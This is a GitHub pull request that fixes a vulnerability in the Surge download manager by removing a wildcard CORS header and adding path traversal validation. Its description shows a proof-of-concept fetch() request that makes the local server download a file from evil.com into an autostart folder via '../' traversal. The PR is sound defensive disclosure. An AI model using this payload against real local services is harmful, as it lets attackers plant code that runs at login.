Skip to content

security: remove CORS and add path validation#7

Merged
SuperCoolPencil merged 1 commit intoSurgeDM:mainfrom
o1x3:fix/security-path-traversal
Jan 16, 2026
Merged

security: remove CORS and add path validation#7
SuperCoolPencil merged 1 commit intoSurgeDM:mainfrom
o1x3:fix/security-path-traversal

Conversation

@o1x3
Copy link
Copy Markdown
Contributor

@o1x3 o1x3 commented Jan 15, 2026

Summary

  • Remove wildcard CORS header that allowed any website to make requests to the local server
  • Add validation to reject path traversal attempts (.., absolute paths, slashes in filename)

What was the problem

Any website could trigger downloads to arbitrary paths while Surge was running:

fetch('http://127.0.0.1:8080/download', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    url: 'http://evil.com/payload.sh',
    path: '../../../.config/autostart',
    filename: 'updater.desktop'
  })
})

Fixes #4

@o1x3
security: remove CORS and add path validation
5d412bb 
Remove wildcard CORS header that allowed any website to make requests
to the local server. Add validation to reject path traversal attempts
in download requests.

Fixes junaid2005p/surge#4
@o1x3 o1x3 force-pushed the fix/security-path-traversal branch from e06728c to 5d412bb Compare January 15, 2026 16:01
@SuperCoolPencil SuperCoolPencil merged commit 045087c into SurgeDM:main Jan 16, 2026
@o1x3 o1x3 deleted the fix/security-path-traversal branch January 16, 2026 05:42
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

Any website can trigger downloads to arbitrary paths while Surge is running

2 participants

@o1x3 @SuperCoolPencil